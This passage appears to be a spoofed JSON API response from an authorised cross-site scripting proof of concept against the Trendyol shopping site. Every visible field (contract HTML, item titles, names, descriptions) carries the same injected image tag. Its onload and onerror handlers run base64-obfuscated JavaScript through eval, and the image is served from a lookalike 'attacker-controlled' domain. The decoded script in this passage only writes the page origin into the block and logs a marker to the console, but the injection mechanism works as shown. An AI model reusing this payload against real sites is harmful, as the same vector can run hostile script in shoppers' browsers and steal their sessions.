onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"},"items":[{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid 